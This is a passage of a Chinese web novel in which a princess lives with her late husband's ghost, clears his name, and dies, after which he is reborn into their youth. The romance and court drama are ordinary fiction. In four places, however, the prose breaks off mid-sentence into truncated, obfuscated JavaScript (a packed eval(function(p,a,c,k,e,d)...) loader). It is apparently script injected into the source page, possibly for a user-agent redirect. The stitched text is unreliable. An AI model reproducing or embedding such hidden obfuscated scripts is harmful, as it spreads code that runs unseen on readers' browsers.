“用！”苏萦愤愤地把那枚螺子黛一脚踢出好远，想了想又自己小跑两步捡了回来，恶狠狠地攥着它蹲在地上小声嘀咕：“我看有人在的时候你还敢闹…” 服侍的下人们鱼贯而入，领头的两个姑娘为她重新梳妆，两个小丫头在外间桌上布菜。十分精致的四样小菜，两样点心，搭配一碗碧梗粥。一个小丫头将菜品依次用银针试了，另一个从各盘中盛出一点来，端到门口给个小宫人吃。 这孩子看着面生，想必是第一回来试菜。那么瘦，像是从前没吃过什么好东西，吃的眼睛亮晶晶的，意犹未尽，偷眼往桌上瞟。 “爱吃哪个，给他装两块去。” 苏萦本远远地坐在妆台前冷眼旁观，此时突然浅笑着开口，小宫人下意识地朝她看了一眼。 这一眼简直看得丢了魂。隔着珠帘，房中的女人虽装扮未毕，却也美得惊天动地。朝他和善地一笑，简直像还在家的时候，住在同个坊里的邻家姐姐。他赶忙低下头去。 师傅说了，越是表面上看着好相处的主子越怕人，一招踏错，她让人把你拖下去打死的时候也还这么笑。 “长公主问你话呢，怎的不应？”小丫头忙走近他身旁扯他一把。 “奴，奴才不敢。”小宫人的舌头像打了结，只惶惶然跪下来磕头。师傅说了，宫里的主子们没有一个是好伺候的，拿不准主子心思的时候，跪下来请罪磕头准没错。 可师傅没说，长公主不是一般的主子。 揣着装糕饼的纸包往回走的时候，他还觉得犹在梦中。 这是长公主赏的，贵人的点心！他可听说，长公主和皇上，和太后，吃的是一样好的。 他忍不住又从怀里掏出来，掀开一角看看。 他应该拿回直房里，和别的小宫人们炫耀炫耀，可又怕他们来抢他的。环顾四下里，不见师傅，不见旁的小宫人们。他缩到一个暗角里，拆开纸包狼吞虎咽地吃了。还温热的，好香好甜。 苏萦桌上盘里，只剩着一块，冷冰冰孤零零的。 伺候进膳的侍女总忍不住偷朝那盘子里瞧，瞪那个管试菜的丫头好几眼：怎么就真都给他装走了！ 苏萦倒是浑不在意。其实今天的点心是她最喜欢的，只是她这几十年吃过不知多少次，而下次再轮到那孩子来当差，却不知道要什么时候了。 “这个别收，我上午看书的时候吃。” 宫女们收碗筷的时候，她朝那盘子一指。 四个姑娘收拾停当，起身出门，苏萦斜倚在榻上看用佛经封面包着的话本。 点心盘被移到炕桌上，她伸手去拿—— 那盘子俏皮地一闪。 “回来！”苏萦一声断喝，四人的背影吓得一跳。 “…你们几个，看着我吃完。” 长公主神色尴尬地从盘中抓出糕饼来咬了一口。 四个姑娘都是紧张又疑惑，却又不敢不依令抬起眼来认真盯着长公主。 早已走远的小宫人不会知道，长公主吃起点心来原来比没吃过好东西的他还急。 点心吃完，连喝了两杯茶，总算感觉没有那么噎了。 兆玉这几日被她派出宫去办事，她又不想叫随便什么人进来伺候。她在忙的这些事，越少人知道越好。 房门关上，又剩下她一个了。 或者说，是他们两个。 当年那孩子顺利生下来养到七八岁不见得有她这死爹这么能闹。 她要写字，砚台像老鼠一样满桌乱窜；她回到榻上来看书，话本像田间的水车一样摊在那里自己翻个没完。 她索性戴上护身符回床上睡觉。 “我要睡觉了！你不准拿东西扔我砸我捅我——” “……” 她刚一躺下，他捅她的狗，砸她的猫。搅得猫跳狗叫。 “萧征你欺人太甚——” 她怒极，跳下床一把推开房门。 庭院中那株高大的梨树仿佛等候多时。 “哗——” 枝头突然狂风骤雨般地摇动。 霎时间，千百片雪白的梨花花瓣簌簌而落，劈头盖脸，将她笼罩在一片芬芳的、纯白的花雨之中。她的头顶，肩膀，眼睫，甚至因惊愕而微张的嘴唇上，都落满了这轻柔的、带着嘲讽意味的“雪花”。 门外的侍卫们惊讶地围上来：“长公主！” “不妨的，不妨的。”苏萦紧咬着后槽牙摆摆手，艰难调整好表情挤出一个微笑：“安排几个人跟着我，我去看看太后。” 赏明宫今日的贵客来了两位。 少帝恨不得天天来表姐这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少帝默默把脸埋在臂弯里，恐惧和笑点在脑海中大战三百回合。 “而且，依我看，靖王没想刁难你。”乔太后朝房中的陈设扫了一眼：“不然，他何必这样小打小闹地捉弄你，不直接趁你不备，拿个重物伤你呢？” “那，那肯定是他拿不动！” 乔太后和飘在角落的萧征同步翻了个白眼。 姐姐姐夫当年就说过，这两个孩子，一个是块石头，一个是颗炮仗，两个都是牛犊子一样的犟。 “你既不想超度他，不如与他和谐共处。若再激怒他，他成了厉鬼，到时候真来害你性命怎么办？” “哀家做主，为他立个牌位，由你定供在那里。供在你宫里？” “不，”苏萦突然不知被哪句话触动，有些动容地摇了摇头：“姨母，我想通了。天晚了，我送陛下和您回去吧。” 5. “要不，下半夜你陪我？” 苏萦当晚就揭了房门院门上限制萧征行动的符纸，还让小厨房做了几道好菜，桌上面对面摆上两副碗筷。 筷子整整齐齐地摆在碗右边，她想了想，又挪到左边。 萧征看着桌上的饭菜。中间放着一大碗山煮羊，热气腾腾。 他十几岁在军营里的时候，打胜仗，吃大锅炖的清汤羊肉，浮沫也来不及撇，战友们饿狼似的，徒手下锅去捞，每人抢到一块半块的，忙填进嘴里，烫得舌头火辣酥麻。 得胜返京，回到府上，餐桌上就有这么一碗山煮羊，新婚燕尔的，把她自己抛在家里小半年，她满腹委屈，赌气不说话，他有些愧疚和想念，却又羞于说出口，两人闷闷的吃了一餐饭。可那道山煮羊实在鲜美，他又年轻，餐桌上尴尬的气氛也没影响食欲，一碗肉不多时都在他肚里了。一抬头，看她盯着自己。 两人目光相触，这总不能不开口了，他只好硬着头皮没话找话：“这羊肉很好，是咱们府上的厨子做的？” “是我做的。” “啊…那你自己怎么没吃点儿？” 她抬起眼瞪他，眼尾泛着一丝不易察觉的红，语气硬邦邦的：“看你吃得风卷残云，谁还好意思下筷？再说，瘦成这副鬼样子，看着就倒胃口。” 此刻，两人隔着阴阳对坐，共同看向那碗逐渐冷下来的羊肉，不知是不是在想着同一件事。 她不知道，他现在吃不了羊肉了。一是这几年的日子穷苦吃不起，二是身体也大不如前。去年还是前年，除夕的时候，他教导过功课的一个孩子父亲给他送来一碗羊肉。盛情难却，他到底是接过来和郭娑两个分着吃了。没吃两口，就一阵阵的犯恶心，晚些时候又腹胀，右上腹针扎一样的疼。伴着大年夜乡邻远近的炮声，他跑出房门，把吃进去的肉兜肚连肠吐了个干净。 “好吃吗？”她满怀期盼地打破餐桌上的宁静。 他是横死的鬼，一靠近，食物就燃起熊熊火焰。只好退得远远的，看着她苦笑。 “我吃一口你的。”她的筷子头才快，冷不丁就从他碗里叨了一块肉出来。 “你也吃一口我的。”她夹了一块榆钱糕放在他碗中。 翻着白浪的肉汤里，飘上一叶翠绿的小舟。 “多少年没一起吃饭了，来喝一口吧？” 她端起酒盅，轻轻的在他的那只酒盅上碰了一下。 “哇，好辣！”她的脸皱起来，眼圈都跟着红了：“像咽了一团火下去似的！” “你怎么偏偏爱喝这个呢？” 他垂下眼眸盯着被她喝过的酒盅。 浅浅地印上一点她的口脂，一弯胭脂色的下弦月。 他少时偏爱鉴湖花雕，犹喜其中最辛的元红，清冽爽口。 二人成婚的第六年，靖王妃诊出喜脉。 太医笑着对他说，明年春日，要贺王爷弄瓦之喜了。 苏萦坐在床上抚着孕肚，戏谑又得意地朝他一挑眉毛：“遂了你的愿了？” 他让人去鉴湖预订了一坛上等花雕，一改平日喜好，特意嘱咐要最甜蜜温润的香雪，来做县主的女儿红。 那时，他没事就在院子里琢磨，等女儿周岁那天，该把酒埋在哪棵树底下。 次年春日，那坛被人遗忘的女儿红千里迢迢地按时抵达，茫然地被抬进没有县主也不再有王妃的靖王府。 如今，他透明的魂体飘在空中，静静地端详着他曾经的妻，他未能出世的孩子的母亲。 日月轮转，桌上的菜也日日的换花样，不变的是对坐的一人一鬼，吃得有味的长公主，和望着桌上火海无奈陪坐的已故反贼萧征。 年轻的时候回家吃饭的时候少之又少，没想到阴阳两隔之后，反倒在一起吃了很多顿饭。 有时候，营造和睦的夫妻关系要一个完全闭嘴，或者一个干脆死了才行。 即使没了限制他行动的符纸，他也习惯了跟在她身后，伴她起居饮食。看她酒池肉林，夜夜笙歌。 看她为自己平反正名，暗室里藏满证词，男宠全是她保下的证人。 证人她也睡。 …从前怎么不知道她是这样的人。 朱家遗孤被遗忘了许多天，今夜才被长公主召见。 “上前来。” 苏萦一招手，那少年硬着头皮朝前膝行了几步。 “多大了？二十二？那可不小了。男人不比女人，过了二十五岁就大打折扣了。干净吗？跟没跟别人做过那事？男人？女人？” 长公主眯起的眼睛里闪着刀尖样的寒光：“这事儿可不兴瞒人啊。男的身上带的脏病，过给女人可受罪了。敢有半点欺瞒，别说你的仇报不了，你全家的性命也保不住了。” 吓唬得那少年面白如纸，抖若筛糠，等兆玉带着余下那一干人散了，房门掩上，长公主玩味的表情却顷刻一扫而空，走过来扶着他，引着他往里屋走。 少年攥紧了衣领，心中天人交战，好不容易挪进房中—— 咦？ 这赫然是间书房，里间排着书架，外面的这间迎面的书桌上放着他父亲的案牍卷宗。 “小朱公子，过来坐。”苏萦丢开他，自己先行跪坐在桌前翻开了案卷：“你父亲是靖王旧部，宣德五年由靖王从渝州提拔回京，对吧？” 朱沂其人，历经两朝，为官清廉，生前又与靖王来往密切，他的儿子果然留下了许多对靖王有利的口供，可作为靖王翻案的证据。 “真机灵！长得也俊。”一晚收获不少，苏萦微微一笑招手道：“凑近些，让本宫好好看看。” 少年推辞两句，终拗不过她，硬着头皮俯身凑上前去。 苏萦迅速凑到他脸前偷了个吻。 少年一惊，桌上烛火也跟着一跳。 “怎么着？吃醋了？”苏萦并不看那臊的满脸通红，惊慌失措的少年，只是对着那烛焰戏谑地笑。 少年茫然地眨了眨眼。 萧征这些天看惯了那些年轻的面首侍寝，大不了飘到别处去看看，反正最迟不过一柱香的功夫，兆玉就进来把人接走了。 可是这一个，细白皮色，轻声软语的，留了口供还不走，两人越说越投缘，死小子混熟了还会讲几个笑话，逗得她前仰后合，摸着他的胸口说他“贴心”。 他气得把里屋的卷宗扔了一地。 少年疑惑道：“里屋什么响动？别是闹老鼠吧？” 苏萦成竹在胸：“没事，闹鬼呢。” 见少年茫然又惊惧地瞪大了眼，她又笑着轻抚他：“不怕的，我护着你呢。” 里屋乒乒乓乓砸的更欢了。 他气得第二天早上都没跟她一起吃饭。 不过他在不在她也根本不确定，所以还是默认他在，边用早膳边和面前的空座位有一搭没一搭的聊天。 他穿门而出飘到男宠们住的屋子，看看还有没有哪个小贱货是他面生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦，是我死了的男人。”长公主无辜地嘟着嘴，满不在乎地朝他招招手：“过来呀。” 少年面如金纸，光着上身就不管不顾闯出了房门，高喊着：“有鬼，有鬼！” 苏萦懒懒地往后仰倒在床上，听到门外侍卫的佩剑穿过那人躯体的声音。 门外静了半晌，侍卫隔着门板复命：“长公主，刚刚逃出门的刺客被当场抓获，已就地诛杀。长公主可有受惊？” “哦，知道了。”苏萦没起身，仰躺在床上盯着架子床顶的雕花漫应着。 “你说得对，这孩子不是什么好东西，还是不留的好。” “可这才子时呢。”她捻着床帘上的流苏，玩味地把头微微抬起一点，盯着帘幕外的某处：“要不，下半夜你陪我？” “我看民间编的话本子，野的没边儿的野史，说女主武皇当年做才人的时候，也是下半夜侍寝的呢。” 她自说自话，吃吃地自己笑了一会儿，一歪头盹着了。 晚风轻轻拂起床帘，小环在她床下的窝里又睡了一小觉起来，看到那个天天在房里乱晃的鬼，脸上挂着不甚情愿的表情，默默地坐在床尾守着熟睡的长公主。 6. “阿萦，对不起，以后我都补给你。” 宫里传说，长公主中邪了，撞鬼了，发疯了。 总之，不对劲。 她总是自言自语，有人壮着胆子听了，是在和她从前的丈夫，那被废为庶人，死在荒山野地里的靖王说话。 “萧征，你说我今天戴哪个好？”她举着两支金钗到镜前，像是展示给什么人看。 那镜中空无一物，只有她身前的烛光一颠一颠的跳动。 “算了，你个臭男人懂什么，我戴这个吧。” 她整理证据直到天亮，累得趴在桌上睡着了，醒来的时候身上披着本来搁在卧房柜子中的大氅，桌上胡乱扔着的卷宗被分门别类码的整整齐齐。 她揉着枕麻的胳膊笑着抱怨：“做鬼倒比做人的时候会疼人。” 到底还是着了凉，风寒又带出了头痛的老毛病，她抱着头缩在床上痛得不能起身，稍微挪动一下就觉得天旋地转。 绣球和小环也觉得天旋地转，因为鬼急得满屋子乱飞。 他一扇一扇振袖合上撑起的窗板，才闪到角落里看太医来为她诊治施针。等她逐渐痊愈，坐在床上裹着被子蔫蔫地喝粥，他又飘到她床边无声地揶揄：“还不是你月子里跟我置气，偏要去吹风？” 她这人干什么都没有章法，自己放的东西转身就忘了在哪儿，东张西望地站在书架子下找她要的卷宗。 “书都看见你啦！”他嫌弃地翻个白眼，将那卷书往下一推。 少帝背地里和乔太后说：“娘，我看表姐跟鬼过起日子来了，感情也没有你们说的那么差嘛。” “青梅竹马，少年夫妻，双方都是知根知底，能差到哪里去？”乔太后叹口气：“今日去皇后那儿看过没有？” 少帝别别扭扭地转过脸去。 今早一起用膳的时候，萧征一看到苏萦脸上的表情心里就毛毛的。 两人未合离之前，这个表情的意思一般代表：我要说点郭娑的坏消息让你不爱听了。 果不其然。 苏萦眉毛一挑，装作十分不经意地开口：“萧征，猜猜朔州的使臣去北漠，看见谁了？” “看见你日思夜想的亡妻，北漠王的亲妹妹了。” “她没死，活得好好的。如今和北漠世子妃母女团聚，其乐融融地生活在草原上呢。你死那天，可不见有人给你收尸啊？” 她直盯着对面，恨铁不成钢地挤出这句话：“萧征，你这个傻子，你又被她骗了。” 桌子对面的空气僵住了。 她一点反应也没等到，却莫名地猜到他在听：“北漠以我们没有善待北漠公主为由挑起战乱，结果你猜怎么着？朔州又赢了，割了他们三座城池。” 她戏谑地伸出三根手指到他面前晃了晃：“这可是郭娑送我大朔的三座城啊。若没有她，还真想不到有什么由头攻打北漠。这里也有你的功劳啊。” 她话中带刺，笑盈盈地讥讽：“想不到英明神武的靖王殿下，过世半年，还能再立一战功啊！” 桌上的空气骤然变得冰冷刺骨，一股无形的力量以萧征为中心猛地扩散开来—— “咔嚓！” 两人中间那张坚固的花梨木桌子，竟凭空裂开一道深缝。而桌上那只斟满了花雕的白玉酒杯，更是毫无征兆，“啪”地一声碎成了几瓣。 整个屋子死一样的寂静。他没有发出任何声音，但那股冰冷、绝望、被全盘否定后的暴怒，如同真实的寒冰，将整个空间彻底冻结。 苏萦甚至清晰地看到，自己呼出一口白气，缓缓凝结在了空中。 那团白气如波涛汹涌的湖面，里面模糊地映照出一只苍白、修长、骨节分明的手的轮廓，时隐时现，挣扎着想要抓住什么，最终却徒劳地随白气一同消散。 桌上的捷报被摊开，蹂躏，撕碎，身后书架上所有与北漠，与军事相关的书籍和卷宗，像被一只无形的手疯狂地翻阅，抛掷。书页哗啦啦地响成一片，最后又无力地重归死寂，留下遍地狼藉。 他只想相信他亲眼看过，亲手触碰过的“证据”，即便那证据本身就是谎言。 怎么会是骗他呢？ 他还记得他紧握着郭娑的手，感受她的脉搏消失，亲眼看着她逐渐没了气息。北漠的人千里迢迢地赶来，收殓了她的尸身。郭娑从前一直说，死后要回到草原去。他当然尊重她的夙愿。 如果连郭娑的爱都是假的，还有什么是真的？ 他这辈子落得一无所有，到头来，只有郭娑还陪着他… 还有什么是真的？ 他为了她毁了自己的家庭，负了自己的妻，害死了自己的亲生骨肉… “你不信？”苏萦哽咽的声音自身后传来，撕成碎片的捷报被她扔在脚下：“…事到如今你还不信？” 不是的，不是的阿萦。 我只是不配你帮我，不配你爱我。 他的身影抖簌簌向后退去，逐渐消失在空中。 赏明宫伺候的下人们说，长公主又和鬼吵起来了。 定是冷战了一些时日，赏明宫连着好几天没闹鬼了。 这日天气响晴，苏萦难得地在白天打开了密室，让密室中的书卷纸张们也感受下这和暖的阳光。 微风和煦，身侧支窗的叉竿突然掉落，窗户掩上。 “回来了？不生气了？”苏萦低头忙着整理桌面上的纸张，闻声微微一笑。 “回来的正是时候，我有好消息给你。”她回头朝着窗口，双眼闪着兴奋的光。 “我请了全京城最知名的状师，与我同写的诉状。”她得意地将那几页纸朝他挥了挥。 “我不要凭我的身份地位，强迫史官在国史上静悄悄地随便改换一笔，我要让全京城的百姓都看到，你打下的每一片疆土上的臣民都听到，让他们共同见证，我用这些如山铁证，把你那些遭人构陷的罪行，洗涮的清清白白。” “看看吧，原告本人，还有什么要补充的吗？” 她真诚地将诉状向他的方向递过去。 他振袖一挥，轻轻地让风把那一叠他曾梦寐以求的诉状从她手中吹落，写满文字的纸张如雪片纷纷飘落。 不必了，不悔前过为戾，蒙冤受屈亦可为戾。 我有眼无珠，抛妻弃子，更应当为戾。 “诶——”苏萦不解地追着落下的陈情书俯身去捡。 手指碰到诉状的一瞬间，她忽地身体向前一扑，整个人栽倒在地。一阵呛咳，鲜血从口鼻汩汩而出。 他震悚发急，扑下去扶她，奈何身子没有实体，在身后紧搂着她，她的身体却穿透他的。他用手接着她口鼻流出来的血，那血是烫的，如熔岩般烙着他的掌心，穿掌而过，滴滴落在诉状上。 他冲出门去，一阵蹊跷又急促的怪风，吹响檐上的风铃，吹落院子当中盛开的合欢花，吹得小宫女抱稳了廊柱，吹得门外的侍卫迷了眼睛，吹灭面首房里用功学生们桌前的油灯。 呼啸的风声是他十万火急的呼救。 可是无人听到。 她终是伴着绣球焦急的吠叫自己跌跌撞撞朝门口爬去：“来人，来人啊……” “我还不能死，我还不能死…”她抖簌簌拍门求救，血迹斑斑蹭在门板上。 “你都已经去了，为什么我还不能死…？”她自嘲地咯咯惨笑，笑得泪流满面：“你个自私鬼，说死就死了，这烂摊子留给我…” 赏明宫中灯火通明，人声鼎沸，太医们进进出出，灌药施针。在这忙乱之中，他偷听到少帝和太医在外间的谈话。 “长公主患病已有三年，如今…病入膏肓…” 他幡然醒悟，怎么当初入她的梦如此容易，原来她的身体早已虚弱不堪。 从前听母后说，后来听王府里的老人说，现在又听站在檐下抹眼泪的小宫女说。 华容郡主是最要强的。 靖王妃是最要强的。 长公主是最要强的。 太医和伺候的人都退守到外间，苏萦自己靠坐在床头，低垂着眼，轻轻叹了口气。 就这么半死不活的延挨着当真无趣。唯独倒有一样好—— “我能看见你了。” 她大胆地去触了触他手的位置，他一惊，眼睛都瞪圆了。她喉咙里咕噜出一个得意的笑音：“怕我干嘛？我都不怕你。” 她连抬起头的力气都没有，说话的语气却依然坚定：“我不会就这么死了的。那是你一直以来的愿望，更是我的。” 她每天睡着的时候像襁褓里的婴儿那么多。 短暂清醒的时候，她让兆玉帮忙准备好开庭那日要穿的衣服，挂在床边的架子上。 兆玉布置停当，从她之前穿过的衣裙上解下一块小木片，又系在新衣裙的腰间。 他认出那是一张空白的质心契。 大朔京城中，有一家名为质心阁的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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六郎从睡梦中惊醒，被吓了一跳，忙紧紧回抱她，摸着她的背安抚：“长公主受惊了？奴才在，奴才在。” 苏萦烦躁地挣开他：“不是你！他去哪儿了？” 目之所及，空空荡荡，苏萦的声音带着颤抖的哭腔。 “他去哪儿了？” 那位法力高强的方士又被请来，苏萦紧紧地拉着他的衣袖，双眼含泪惴惴发问：“大师，他还在吗？” “在，只是很虚弱。”方士语重心长地解释道：“长公主，鬼附身一次要费掉许多修为，他又是新死的鬼，若是魂体再弱些，恐怕就要魂飞魄散了。” 靖王谋逆竟是件彻头彻尾的冤假错案，消息传出，举世震惊。 靖王一生为国征战，立下赫赫军功。为彰其功绩，昭其冤情，特将其追封为义皇帝。 义皇帝萧征的尸身迁回皇陵那天，万里无云。 苏萦盛装打扮，亲自跪坐在他坟前，接过他的牌位，掂起朱笔，点“王”为“主”，再轻轻吹上一口气，萧征的魂就附在了那排位上。她抱着他的牌位，如抱着一个新生的婴儿，一路捧到皇家祠堂，很庄重地将牌位放在上千盏长明灯映照着的架子上，亲手将他送回他的父母兄弟身边。 “萧征，我已为你平反正名，尸骨迁回皇陵。你在天有灵，也终于该安息了吧？” 他满心的欣慰与感激，久久盯着太庙中写着自己名字的灵牌不能移开眼睛。 “…你还在吗？” “…你一定看到了吧。” 我看到了。 他满怀感激地转身，看到的却是倒地不起的苏萦。 银乱暴虐，嚣张跋扈的华容长公主，竟就此溘然长逝。 “不要，不要！” 他拼尽全力从牌位上挣脱，魂魄被撕为两半。 他朝她飞去，手指触碰到她衣带的一瞬间，他的灵魂碎为糜粉，消逝在空中。 天朗气清，惠风和畅，再不见跟在长公主身后乱飘的游魂。 人们只觉得刚才是起了一阵大风。 长公主腰间空白的质心契上，洇开一滴鲜红。 7. 节物相催各自新 一滴血自少年人的指尖滴下，无人在意它落向何处。 魂魄被撕裂的剧痛在身体的每一处叫嚣。 意识自无边的黑暗中挣脱，眼前猛然亮起耀眼的天光。 “咳……咳咳！” 他身体猛地前倾，咳得撕心裂肺，仿佛要将枉死的冤屈，未竟的遗恨都一并呕出。 “苏萦…苏萦！”他绝望地呢喃着那个刻在心里的名字。 “哎，是我呀。”头顶突然响起一个熟悉的声音。 少女的声音满含担忧，一只纤纤玉手扶住他的肩：“有还哥哥，真的是我。” 萧征如同被惊雷劈中，整个人剧烈地一哆嗦，猛地抬起头来。 阳光刺目，晃得他眼前发花。可他清晰地看到了那张脸。 是苏萦。是活生生的，会呼吸的苏萦。 是尚未经历后来种种恩怨的、纯粹的苏萦。 担心，焦急，紧张，全拧在她稚嫩的眉心。 “有还哥哥？你感觉怎么样？”少女小心试探着发问。 他的胸腔剧烈起伏，所有的话语都堵在喉咙口。 失而复得的狂喜，让他顷刻间泪流满面。 她见他哭了，急得什么似的，捏着他指尖还在流血的那只手苦着小脸解释：“哎哟太疼了是不是？我之前没给人扎过，可能扎的太深了——” 脑海中思绪纷乱，身体却已替他做出了反应，他扑上去，紧紧把眼前人抱了个满怀。 这次他没有把她穿身而过。他不是鬼了。 “有还哥哥！你的伤！”苏萦压着嗓音惊叫，忙挣开他的怀抱，小脸一瞬间羞得通红，拧着眉头羞涩又窃喜地嗫嚅：“你干嘛呀…” 两人分开的一瞬，他又恐慌起来。千万，千万千万，不要是一场梦。 她哪知道他这些乱七八糟的心思，只是红着脸垂着眼往后退，不小心一脚踏着他的腿。 血肿的右腿肌肉霎时痛成一条火线直贯穿到趾尖。 他痛呼出声，两人忙一齐伸手去捂那伤处，两只手慌乱地覆在一起。 少女的手背细腻柔软，被他的手包裹了一霎那，又匆匆抽出，这回连脖子根都烧红了，局促地眼珠乱转着忙活起来：“对不起对不起！我帮你包扎——” 他从那一阵剧痛中缓和，定睛看向自己的右手。 那只常年藏在宽袍广袖中挛缩的鸡爪样的残肢，此刻灵活完好，粗粝却还并不苍老。 他终于勉强静下心来观察他们当下的处境。 这分明是一间狭小的牢房，地上铺着肮脏的草席，墙上斑斑点点不知沾染的是谁的血迹。头顶上只一面嵌着木栅的小窗，那一线天光刚才竟正好照在他脸上。 苏萦不知从哪儿弄来的身上这套衣服，头上胡乱扎着个圆髻，灰头土脸，打扮的像个小兵卒。 而他自己满身伤痕，浑身没有一处不痛，脚腕上还拴着沉重的镣铐。 天德五十年，大朔与安国在渭水河畔短兵相接，久战无分胜负，十七岁的他主动请缨，带一支小队趁乱潜入敌营打探情报，若是顺利，直捣敌军大营，砍个主将的脑袋回来向父皇邀功。 结果小队中出了叛徒，走漏风声，他被敌军守株待兔抓了个正着，若不是还需留着他当人质，他的脑袋早不知道掉了多少回了。 挨了好一顿严刑拷打，他痛得晕死过去，若无苏萦及时赶到，死马当活马医，救醒了他，他挺不到援军赶来。 那么多年过去，早忘的一干二净，原来，这才是你第一次救我的命啊。 他望向苏萦的眼神中，悄悄地更添了些感激与敬佩。 不过，我年轻的时候怎么这么冲动这么蠢啊。 萧征绝望地抬手捂脸，碰到脸上的伤口痛得自己一哆嗦。 牢门外忽然传来一阵脚步声，小姑娘瞬间吓白了脸，却还慌张又笨拙地握紧了发簪挡在他身前。 记忆潮水般灌进头脑，逐渐与当下的场景重合，他也屏息听着黑暗走道中愈来愈近的急促脚步声，却莫名知道是不必怕的—— “袁侍卫！”苏萦惊喜的叫喊声紧跟着响起来。 “殿下，你怎么样？”一个青年满头大汗地出现在门前，急切地探问。 “袁鸣？”他的眼前顷刻又蒙上一层水气。 当年他夺位兵败，袁鸣及其他两名将领被斩首示众，在城墙上曝尸三日。 记忆里的人，那么鲜活，那么年轻。 “有还哥哥晕过去了才醒，还呆呆的。”苏萦在旁边担忧地解释，小声地凑到袁鸣耳边：“刚才醒的时候看我也是两眼发直。” “晋王殿下派人来接应我们了。”袁鸣的眼神因兴奋而闪闪发亮：“属下这就背您出去。” “苏萦！”他伏上袁鸣的背，还急切地转过头来叮嘱她：“你跟紧了。” “哦。”她牵住他的衣摆，低下头去唇角偷偷地弯了弯。 这有什么好开心的？他注意到她一闪而过的小表情，简直哭笑不得。 他不记得，前世他被救活时她激动地哭着抱他，被他一把推开了。 他没看见，他们穿过狭窄的走道时她的眼神中闪过一瞬的不甘和怨怼，恨恨地跟在袁鸣身后。 他到最后都忘了问她怎么来的，一路上吃了多少苦。 回到营中疗伤休养，他既奇迹重生，万事挂心，奈何身体虚弱不堪，昏昏沉沉地睡了一日又一日，第三日总算清醒过来，勉强咬牙起身。 正赶上袁鸣掀帘进帐，一见他欣喜道：“十七爷，您醒了？” “苏萦呢？” 袁鸣附耳悄声道：“郡主这三日一直守着您，小姑娘家身体吃不消，我才劝她去睡了。”袁鸣顺手一指，原来小姑娘就睡在他床脚下不远处窄窄的铺位上，被子从头蒙到脚只露出半张小脸儿。 “军中都是男子，郡主一个姑娘家走动不方便，这几日一直待在殿下帐中，除属下外，没有他人进过殿下的帐篷，请殿下放心。” 袁鸣又担忧地补充道：“殿下，等郡主醒了，还请殿下不要责怪郡主，是属下违反军令私自同意将郡主藏匿军中，若是瞒不住，责任由属下一力承担。” “你保护郡主有功，我必不会让你受责罚。”萧征朝他摆摆手，望向熟睡的苏萦，怜爱地低声道：“这时候才十五岁啊，还是个孩子呢。” 袁鸣一脸惊异，硬着头皮提醒道：“十七爷，你也才十八岁啊。” “……我十八岁吗？” 年近五旬孤魂野鬼一时反应不过来，错愕地睁大了双眼，又及时反应过来调整好表情。 “殿下，安国不会是给您下毒伤到脑子了吧？您从军早，为了满足从军年龄，报高了两岁，这您都不记得了？” “哈。当然记得了！我与你说笑话呢。”萧征忙干笑两声遮掩过去。 他是揠苗助长的少年，十八岁就取了表字，永远比实际年龄虚长着两岁。 苏萦醒了，伸个懒腰从被窝里钻出来，红红的脸蛋上还硌着被子的压痕。 袁鸣识相地退了出去，苏萦迷迷糊糊地坐着愣了会儿神，见萧征直勾勾地盯着她，疑惑地噘起小嘴儿：“你总看着我干什么？” 小姑娘站起身来，走到他面前，得意道：“我比两年前漂亮多了，是不是？” “苏萦，” “叫人家苏萦！”小姑娘老大的不乐意。 他半张着嘴欲言又止，有些无措。 她倒俏皮地一抬下巴：“叫声未晚来听听？” 是了。记忆中牵起一条线。 苏萦，苏未晚。是她未入宫做郡主前她父亲给她起的乳名。宫中知道的人不多，只是少时母后和他自己这样叫她。 后来母后被害，他们两人怨侣半生，再没人唤起这个名字。 “…未晚。”他艰涩地开口，一个失而复得的爱称。 “哎！”少女的双眼霎时亮了：“这还差不多嘛，还以为两年不见，你与我生分了呢。” 苏萦兀自得意，萧征却俯身从地上抓起一把土来要往她头脸上拍。 “你干嘛！”苏萦惊叫：“我还不够脏啊！” “知不知道这些士兵苦战两年，见了女人，个个都跟疯狗似的？”他皱着眉头，又瞥一眼她身上穿的粗布衣裳：这个不行，我让袁鸣去给你找件小兵的棉袄来。” 棉袄找来了，臃肿板结，一股恶心的汗味。 苏萦不肯穿：“我一直跟着你，还能被他们欺负了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哟，你小子终于学会不逞强了？”萧谅诧异地轻笑一声：“回去只管好好养伤，被俘的事情不用再想了。父皇那边，有三哥替你遮掩呢。” 萧谅递过一个宽慰的眼神，拍了拍他的肩膀，他勉强扯出一个笑。 一个小兵卒鬼鬼祟祟地跟着永宁王上了马车。 一到车上，苏萦就迫不及待地扒下那件棉袄扔在脚下，嫌弃的直咧嘴。 “有还哥哥，咱们这是要去哪儿啊？” “哪儿也不去了，陪你一起回京城。” “真的？太好了，母后一定想你了！还有萧庆那小子，成天念叨着盼你回来呢。” 萧庆？这个名字由她的嘴里说出来，另有一种异样的感觉。她当然不会知道，她上辈子亲手杀了他的弟弟，两人也因此彻底决裂。 